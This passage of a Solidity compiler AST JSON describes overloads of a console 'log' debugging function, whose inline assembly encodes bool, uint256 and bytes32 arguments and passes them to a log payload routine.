057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184044:6:22","nodeType":"YulIdentifier","src":"184044:6:22"},"nativeSrc":"184044:16:22","nodeType":"YulFunctionCall","src":"184044:16:22"},"nativeSrc":"184044:16:22","nodeType":"YulExpressionStatement","src":"184044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184080:4:22","nodeType":"YulLiteral","src":"184080:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"184086:2:22","nodeType":"YulIdentifier","src":"184086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184073:6:22","nodeType":"YulIdentifier","src":"184073:6:22"},"nativeSrc":"184073:16:22","nodeType":"YulFunctionCall","src":"184073:16:22"},"nativeSrc":"184073:16:22","nodeType":"YulExpressionStatement","src":"184073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184109:4:22","nodeType":"YulLiteral","src":"184109:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"184115:2:22","nodeType":"YulIdentifier","src":"184115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184102:6:22","nodeType":"YulIdentifier","src":"184102:6:22"},"nativeSrc":"184102:16:22","nodeType":"YulFunctionCall","src":"184102:16:22"},"nativeSrc":"184102:16:22","nodeType":"YulExpressionStatement","src":"184102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184138:4:22","nodeType":"YulLiteral","src":"184138:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"184144:2:22","nodeType":"YulIdentifier","src":"184144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184131:6:22","nodeType":"YulIdentifier","src":"184131:6:22"},"nativeSrc":"184131:16:22","nodeType":"YulFunctionCall","src":"184131:16:22"},"nativeSrc":"184131:16:22","nodeType":"YulExpressionStatement","src":"184131:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184167:4:22","nodeType":"YulLiteral","src":"184167:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"184173:2:22","nodeType":"YulIdentifier","src":"184173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184160:6:22","nodeType":"YulIdentifier","src":"184160:6:22"},"nativeSrc":"184160:16:22","nodeType":"YulFunctionCall","src":"184160:16:22"},"nativeSrc":"184160:16:22","nodeType":"YulExpressionStatement","src":"184160:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39800,"isOffset":false,"isSlot":false,"src":"183999:2:22","valueSize":1},{"declaration":39803,"isOffset":false,"isSlot":false,"src":"184028:2:22","valueSize":1},{"declaration":39806,"isOffset":false,"isSlot":false,"src":"184057:2:22","valueSize":1},{"declaration":39809,"isOffset":false,"isSlot":false,"src":"184086:2:22","valueSize":1},{"declaration":39812,"isOffset":false,"isSlot":false,"src":"184115:2:22","valueSize":1},{"declaration":39815,"isOffset":false,"isSlot":false,"src":"184144:2:22","valueSize":1},{"declaration":39818,"isOffset":false,"isSlot":false,"src":"184173:2:22","valueSize":1}],"id":39826,"nodeType":"InlineAssembly","src":"183963:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"182873:3:22","parameters":{"id":39797,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39790,"mutability":"mutable","name":"p0","nameLocation":"182882:2:22","nodeType":"VariableDeclaration","scope":39828,"src":"182877:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39789,"name":"bool","nodeType":"ElementaryTypeName","src":"182877:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39792,"mutability":"mutable","name":"p1","nameLocation":"182891:2:22","nodeType":"VariableDeclaration","scope":39828,"src":"182886:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39791,"name":"bool","nodeType":"ElementaryTypeName","src":"182886:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39794,"mutability":"mutable","name":"p2","nameLocation":"182903:2:22","nodeType":"VariableDeclaration","scope":39828,"src":"182895:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39793,"name":"uint256","nodeType":"ElementaryTypeName","src":"182895:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39796,"mutability":"mutable","name":"p3","nameLocation":"182915:2:22","nodeType":"VariableDeclaration","scope":39828,"src":"182907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39795,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"182876:42:22"},"returnParameters":{"id":39798,"nodeType":"ParameterList","parameters":[],"src":"182933:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39868,"nodeType":"FunctionDefinition","src":"184198:1328:22","nodes":[],"body":{"id":39867,"nodeType":"Block","src":"184267:1259:22","nodes":[],"statements":[{"assignments":[39840],"declarations":[{"constant":false,"id":39840,"mutability":"mutable","name":"m0","nameLocation":"184285:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184277:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39839,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184277:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39841,"nodeType":"VariableDeclarationStatement","src":"184277:10:22"},{"assignments":[39843],"declarations":[{"constant":false,"id":39843,"mutability":"mutable","name":"m1","nameLocation":"184305:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184297:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39842,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184297:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39844,"nodeType":"VariableDeclarationStatement","src":"184297:10:22"},{"assignments":[39846],"declarations":[{"constant":false,"id":39846,"mutability":"mutable","name":"m2","nameLocation":"184325:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39845,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39847,"nodeType":"VariableDeclarationStatement","src":"184317:10:22"},{"assignments":[39849],"declarations":[{"constant":false,"id":39849,"mutability":"mutable","name":"m3","nameLocation":"184345:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184337:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39848,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184337:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39850,"nodeType":"VariableDeclarationStatement","src":"184337:10:22"},{"assignments":[39852],"declarations":[{"constant":false,"id":39852,"mutability":"mutable","name":"m4","nameLocation":"184365:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39851,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184357:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39853,"nodeType":"VariableDeclarationStatement","src":"184357:10:22"},{"assignments":[39855],"declarations":[{"constant":false,"id":39855,"mutability":"mutable","name":"m5","nameLocation":"184385:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184377:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39854,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184377:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39856,"nodeType":"VariableDeclarationStatement","src":"184377:10:22"},{"assignments":[39858],"declarations":[{"constant":false,"id":39858,"mutability":"mutable","name":"m6","nameLocation":"184405:2:22","nodeType":"VariableDeclaration","scope":39867,"src":"184397:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39857,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184397:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39859,"nodeType":"VariableDeclarationStatement","src":"184397:10:22"},{"AST":{"nativeSrc":"184426:825:22","nodeType":"YulBlock","src":"184426:825:22","statements":[{"body":{"nativeSrc":"184469:313:22","nodeType":"YulBlock","src":"184469:313:22","statements":[{"nativeSrc":"184487:15:22","nodeType":"YulVariableDeclaration","src":"184487:15:22","value":{"kind":"number","nativeSrc":"184501:1:22","nodeType":"YulLiteral","src":"184501:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"184491:6:22","nodeType":"YulTypedName","src":"184491:6:22","type":""}]},{"body":{"nativeSrc":"184572:40:22","nodeType":"YulBlock","src":"184572:40:22","statements":[{"body":{"nativeSrc":"184601:9:22","nodeType":"YulBlock","src":"184601:9:22","statements":[{"nativeSrc":"184603:5:22","nodeType":"YulBreak","src":"184603:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"184589:6:22","nodeType":"YulIdentifier","src":"184589:6:22"},{"name":"w","nativeSrc":"184597:1:22","nodeType":"YulIdentifier","src":"184597:1:22"}],"functionName":{"name":"byte","nativeSrc":"184584:4:22","nodeType":"YulIdentifier","src":"184584:4:22"},"nativeSrc":"184584:15:22","nodeType":"YulFunctionCall","src":"184584:15:22"}],"functionName":{"name":"iszero","nativeSrc":"184577:6:22","nodeType":"YulIdentifier","src":"184577:6:22"},"nativeSrc":"184577:23:22","nodeType":"YulFunctionCall","src":"184577:23:22"},"nativeSrc":"184574:36:22","nodeType":"YulIf","src":"184574:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"184529:6:22","nodeType":"YulIdentifier","src":"184529:6:22"},{"kind":"number","nativeSrc":"184537:4:22","nodeType":"YulLiteral","src":"184537:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"184526:2:22","nodeType":"YulIdentifier","src":"184526:2:22"},"nativeSrc":"184526:16:22","nodeType":"YulFunctionCall","src":"184526:16:22"},"nativeSrc":"184519:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"184543:28:22","nodeType":"YulBlock","src":"184543:28:22","statements":[{"nativeSrc":"184545:24:22","nodeType":"YulAssignment","src":"184545:24:22","value":{"arguments":[{"name":"length","nativeSrc":"184559:6:22","nodeType":"YulIdentifier","src":"184559:6:22"},{"kind":"number","nativeSrc":"184567:1:22","nodeType":"YulLiteral","src":"184567:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"184555:3:22","nodeType":"YulIdentifier","src":"184555:3:22"},"nativeSrc":"184555:14:22","nodeType":"YulFunctionCall","src":"184555:14:22"},"variableNames":[{"name":"length","nativeSrc":"184545:6:22","nodeType":"YulIdentifier","src":"184545:6:22"}]}]},"pre":{"nativeSrc":"184523:2:22","nodeType":"YulBlock","src":"184523:2:22","statements":[]},"src":"184519:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"184636:3:22","nodeType":"YulIdentifier","src":"184636:3:22"},{"name":"length","nativeSrc":"184641:6:22","nodeType":"YulIdentifier","src":"184641:6:22"}],"functionName":{"name":"mstore","nativeSrc":"184629:6:22","nodeType":"YulIdentifier","src":"184629:6:22"},"nativeSrc":"184629:19:22","nodeType":"YulFunctionCall","src":"184629:19:22"},"nativeSrc":"184629:19:22","nodeType":"YulExpressionStatement","src":"184629:19:22"},{"nativeSrc":"184665:37:22","nodeType":"YulVariableDeclaration","src":"184665:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"184682:3:22","nodeType":"YulLiteral","src":"184682:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"184691:1:22","nodeType":"YulLiteral","src":"184691:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"184694:6:22","nodeType":"YulIdentifier","src":"184694:6:22"}],"functionName":{"name":"shl","nativeSrc":"184687:3:22","nodeType":"YulIdentifier","src":"184687:3:22"},"nativeSrc":"184687:14:22","nodeType":"YulFunctionCall","src":"184687:14:22"}],"functionName":{"name":"sub","nativeSrc":"184678:3:22","nodeType":"YulIdentifier","src":"184678:3:22"},"nativeSrc":"184678:24:22","nodeType":"YulFunctionCall","src":"184678:24:22"},"variables":[{"name":"shift","nativeSrc":"184669:5:22","nodeType":"YulTypedName","src":"184669:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"184730:3:22","nodeType":"YulIdentifier","src":"184730:3:22"},{"kind":"number","nativeSrc":"184735:4:22","nodeType":"YulLiteral","src":"184735:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"184726:3:22","nodeType":"YulIdentifier","src":"184726:3:22"},"nativeSrc":"184726:14:22","nodeType":"YulFunctionCall","src":"184726:14:22"},{"arguments":[{"name":"shift","nativeSrc":"184746:5:22","nodeType":"YulIdentifier","src":"184746:5:22"},{"arguments":[{"name":"shift","nativeSrc":"184757:5:22","nodeType":"YulIdentifier","src":"184757:5:22"},{"name":"w","nativeSrc":"184764:1:22","nodeType":"YulIdentifier","src":"184764:1:22"}],"functionName":{"name":"shr","nativeSrc":"184753:3:22","nodeType":"YulIdentifier","src":"184753:3:22"},"nativeSrc":"184753:13:22","nodeType":"YulFunctionCall","src":"184753:13:22"}],"functionName":{"name":"shl","nativeSrc":"184742:3:22","nodeType":"YulIdentifier","src":"184742:3:22"},"nativeSrc":"184742:25:22","nodeType":"YulFunctionCall","src":"184742:25:22"}],"functionName":{"name":"mstore","nativeSrc":"184719:6:22","nodeType":"YulIdentifier","src":"184719:6:22"},"nativeSrc":"184719:49:22","nodeType":"YulFunctionCall","src":"184719:49:22"},"nativeSrc":"184719:49:22","nodeType":"YulExpressionStatement","src":"184719:49:22"}]},"name":"writeString","nativeSrc":"184440:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"184461:3:22","nodeType":"YulTypedName","src":"184461:3:22","type":""},{"name":"w","nativeSrc":"184466:1:22","nodeType":"YulTypedName","src":"184466:1:22","type":""}],"src":"184440:342:22"},{"nativeSrc":"184795:17:22","nodeType":"YulAssignment","src":"184795:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184807:4:22","nodeType":"YulLiteral","src":"184807:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"184801:5:22","nodeType":"YulIdentifier","src":"184801:5:22"},"nativeSrc":"184801:11:22","nodeType":"YulFunctionCall","src":"184801:11:22"},"variableNames":[{"name":"m0","nativeSrc":"184795:2:22","nodeType":"YulIdentifier","src":"184795:2:22"}]},{"nativeSrc":"184825:17:22","nodeType":"YulAssignment","src":"184825:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184837:4:22","nodeType":"YulLiteral","src":"184837:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"184831:5:22","nodeType":"YulIdentifier","src":"184831:5:22"},"nativeSrc":"184831:11:22","nodeType":"YulFunctionCall","src":"184831:11:22"},"variableNames":[{"name":"m1","nativeSrc":"184825:2:22","nodeType":"YulIdentifier","src":"184825:2:22"}]},{"nativeSrc":"184855:17:22","nodeType":"YulAssignment","src":"184855:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184867:4:22","nodeType":"YulLiteral","src":"184867:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"184861:5:22","nodeType":"YulIdentifier","src":"184861:5:22"},"nativeSrc":"184861:11:22","nodeType":"YulFunctionCall","src":"184861:11:22"},"variableNames":[{"name":"m2","nativeSrc":"184855:2:22","nodeType":"YulIdentifier","src":"184855:2:22"}]},{"nativeSrc":"184885:17:22","nodeType":"YulAssignment","src":"184885:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184897:4:22","nodeType":"YulLiteral","src":"184897:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"184891:5:22","nodeType":"YulIdentifier","src":"184891:5:22"},"nativeSrc":"184891:11:22","nodeType":"YulFunctionCall","src":"184891:11:22"},"variableNames":[{"name":"m3","nativeSrc":"184885:2:22","nodeType":"YulIdentifier","src":"184885:2:22"}]},{"nativeSrc":"184915:17:22","nodeType":"YulAssignment","src":"184915:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184927:4:22","nodeType":"YulLiteral","src":"184927:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"184921:5:22","nodeType":"YulIdentifier","src":"184921:5:22"},"nativeSrc":"184921:11:22","nodeType":"YulFunctionCall","src":"184921:11:22"},"variableNames":[{"name":"m4","nativeSrc":"184915:2:22","nodeType":"YulIdentifier","src":"184915:2:22"}]},{"nativeSrc":"184945:17:22","nodeType":"YulAssignment","src":"184945:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184957:4:22","nodeType":"YulLiteral","src":"184957:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"184951:5:22","nodeType":"YulIdentifier","src":"184951:5:22"},"nativeSrc":"184951:11:22","nodeType":"YulFunctionCall","src":"184951:11:22"},"variableNames":[{"name":"m5","nativeSrc":"184945:2:22","nodeType":"YulIdentifier","src":"184945:2:22"}]},{"nativeSrc":"184975:17:22","nodeType":"YulAssignment","src":"184975:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"184987:4:22","nodeType":"YulLiteral","src":"184987:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"184981:5:22","nodeType":"YulIdentifier","src":"184981:5:22"},"nativeSrc":"184981:11:22","nodeType":"YulFunctionCall","src":"184981:11:22"},"variableNames":[{"name":"m6","nativeSrc":"184975:2:22","nodeType":"YulIdentifier","src":"184975:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185072:4:22","nodeType":"YulLiteral","src":"185072:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"185078:10:22","nodeType":"YulLiteral","src":"185078:10:22","type":"","value":"0xf9ad2b89"}],"functionName":{"name":"mstore","nativeSrc":"185065:6:22","nodeType":"YulIdentifier","src":"185065:6:22"},"nativeSrc":"185065:24:22","nodeType":"YulFunctionCall","src":"185065:24:22"},"nativeSrc":"185065:24:22","nodeType":"YulExpressionStatement","src":"185065:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185109:4:22","nodeType":"YulLiteral","src":"185109:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"185115:2:22","nodeType":"YulIdentifier","src":"185115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185102:6:22","nodeType":"YulIdentifier","src":"185102:6:22"},"nativeSrc":"185102:16:22","nodeType":"YulFunctionCall","src":"185102:16:22"},"nativeSrc":"185102:16:22","nodeType":"YulExpressionStatement","src":"185102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185138:4:22","nodeType":"YulLiteral","src":"185138:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"185144:2:22","nodeType":"YulIdentifier","src":"185144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185131:6:22","nodeType":"YulIdentifier","src":"185131:6:22"},"nativeSrc":"185131:16:22","nodeType":"YulFunctionCall","src":"185131:16:22"},"nativeSrc":"185131:16:22","nodeType":"YulExpressionStatement","src":"185131:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185167:4:22","nodeType":"YulLiteral","src":"185167:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"185173:4:22","nodeType":"YulLiteral","src":"185173:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"185160:6:22","nodeType":"YulIdentifier","src":"185160:6:22"},"nativeSrc":"185160:18:22","nodeType":"YulFunctionCall","src":"185160:18:22"},"nativeSrc":"185160:18:22","nodeType":"YulExpressionStatement","src":"185160:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185198:4:22","nodeType":"YulLiteral","src":"185198:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"185204:2:22","nodeType":"YulIdentifier","src":"185204:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185191:6:22","nodeType":"YulIdentifier","src":"185191:6:22"},"nativeSrc":"185191:16:22","nodeType":"YulFunctionCall","src":"185191:16:22"},"nativeSrc":"185191:16:22","nodeType":"YulExpressionStatement","src":"185191:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185232:4:22","nodeType":"YulLiteral","src":"185232:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"185238:2:22","nodeType":"YulIdentifier","src":"185238:2:22"}],"functionName":{"name":"writeString","nativeSrc":"185220:11:22","nodeType":"YulIdentifier","src":"185220:11:22"},"nativeSrc":"185220:21:22","nodeType":"YulFunctionCall","src":"185220:21:22"},"nativeSrc":"185220:21:22","nodeType":"YulExpressionStatement","src":"185220:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39840,"isOffset":false,"isSlot":false,"src":"184795:2:22","valueSize":1},{"declaration":39843,"isOffset":false,"isSlot":false,"src":"184825:2:22","valueSize":1},{"declaration":39846,"isOffset":false,"isSlot":false,"src":"184855:2:22","valueSize":1},{"declaration":39849,"isOffset":false,"isSlot":false,"src":"184885:2:22","valueSize":1},{"declaration":39852,"isOffset":false,"isSlot":false,"src":"184915:2:22","valueSize":1},{"declaration":39855,"isOffset":false,"isSlot":false,"src":"184945:2:22","valueSize":1},{"declaration":39858,"isOffset":false,"isSlot":false,"src":"184975:2:22","valueSize":1},{"declaration":39830,"isOffset":false,"isSlot":false,"src":"185115:2:22","valueSize":1},{"declaration":39832,"isOffset":false,"isSlot":false,"src":"185144:2:22","valueSize":1},{"declaration":39834,"isOffset":false,"isSlot":false,"src":"185238:2:22","valueSize":1},{"declaration":39836,"isOffset":false,"isSlot":false,"src":"185204:2:22","valueSize":1}],"id":39860,"nodeType":"InlineAssembly","src":"184417:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39862,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"185276:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39863,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"185282:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39861,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"185260:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39864,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"185260:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39865,"nodeType":"ExpressionStatement","src":"185260:27:22"},{"AST":{"nativeSrc":"185306:214:22","nodeType":"YulBlock","src":"185306:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"185327:4:22","nodeType":"YulLiteral","src":"185327:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"185333:2:22","nodeType":"YulIdentifier","src":"185333:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185320:6:22","nodeType":"YulIdentifier","src":"185320:6:22"},"nativeSrc":"185320:16:22","nodeType":"YulFunctionCall","src":"185320:16:22"},"nativeSrc":"185320:16:22","nodeType":"YulExpressionStatement","src":"185320:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185356:4:22","nodeType":"YulLiteral","src":"185356:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"185362:2:22","nodeType":"YulIdentifier","src":"185362:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185349:6:22","nodeType":"YulIdentifier","src":"185349:6:22"},"nativeSrc":"185349:16:22","nodeType":"YulFunctionCall","src":"185349:16:22"},"nativeSrc":"185349:16:22","nodeType":"YulExpressionStatement","src":"185349:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185385:4:22","nodeType":"YulLiteral","src":"185385:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"185391:2:22","nodeType":"YulIdentifier","src":"185391:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185378:6:22","nodeType":"YulIdentifier","src":"185378:6:22"},"nativeSrc":"185378:16:22","nodeType":"YulFunctionCall","src":"185378:16:22"},"nativeSrc":"185378:16:22","nodeType":"YulExpressionStatement","src":"185378:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185414:4:22","nodeType":"YulLiteral","src":"185414:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"185420:2:22","nodeType":"YulIdentifier","src":"185420:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185407:6:22","nodeType":"YulIdentifier","src":"185407:6:22"},"nativeSrc":"185407:16:22","nodeType":"YulFunctionCall","src":"185407:16:22"},"nativeSrc":"185407:16:22","nodeType":"YulExpressionStatement","src":"185407:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185443:4:22","nodeType":"YulLiteral","src":"185443:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"185449:2:22","nodeType":"YulIdentifier","src":"185449:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185436:6:22","nodeType":"YulIdentifier","src":"185436:6:22"},"nativeSrc":"185436:16:22","nodeType":"YulFunctionCall","src":"185436:16:22"},"nativeSrc":"185436:16:22","nodeType":"YulExpressionStatement","src":"185436:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185472:4:22","nodeType":"YulLiteral","src":"185472:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"185478:2:22","nodeType":"YulIdentifier","src":"185478:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185465:6:22","nodeType":"YulIdentifier","src":"185465:6:22"},"nativeSrc":"185465:16:22","nodeType":"YulFunctionCall","src":"185465:16:22"},"nativeSrc":"185465:16:22","nodeType":"YulExpressionStatement","src":"185465:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"185501:4:22","nodeType":"YulLiteral","src":"185501:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"185507:2:22","nodeType":"YulIdentifier","src":"185507:2:22"}],"functionName":{"name":"mstore","nativeSrc":"185494:6:22","nodeType":"YulIdentifier","src":"185494:6:22"},"nativeSrc":"185494:16:22","nodeType":"YulFunctionCall","src":"185494:16:22"},"nativeSrc":"185494:16:22","nodeType":"YulExpressionStatement","src":"185494:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39840,"isOffset":false,"isSlot":false,"src":"185333:2:22","valueSize":1},{"declaration":39843,"isOffset":false,"isSlot":false,"src":"185362:2:22","valueSize":1},{"declaration":39846,"isOffset":false,"isSlot":false,"src":"185391:2:22","valueSize":1},{"declaration":39849,"isOffset":false,"isSlot":false,"src":"185420:2:22","valueSize":1},{"declaration":39852,"isOffset":false,"isSlot":false,"src":"185449:2:22","valueSize":1},{"declaration":39855,"isOffset":false,"isSlot":false,"src":"185478:2:22","valueSize":1},{"declaration":39858,"isOffset":false,"isSlot":false,"src":"185507:2:22","valueSize":1}],"id":39866,"nodeType":"InlineAssembly","src":"185297:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"184207:3:22","parameters":{"id":39837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39830,"mutability":"mutable","name":"p0","nameLocation":"184216:2:22","nodeType":"VariableDeclaration","scope":39868,"src":"184211:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39829,"name":"bool","nodeType":"ElementaryTypeName","src":"184211:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39832,"mutability":"mutable","name":"p1","nameLocation":"184225:2:22","nodeType":"VariableDeclaration","scope":39868,"src":"184220:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39831,"name":"bool","nodeType":"ElementaryTypeName","src":"184220:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39834,"mutability":"mutable","name":"p2","nameLocation":"184237:2:22","nodeType":"VariableDeclaration","scope":39868,"src":"184229:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},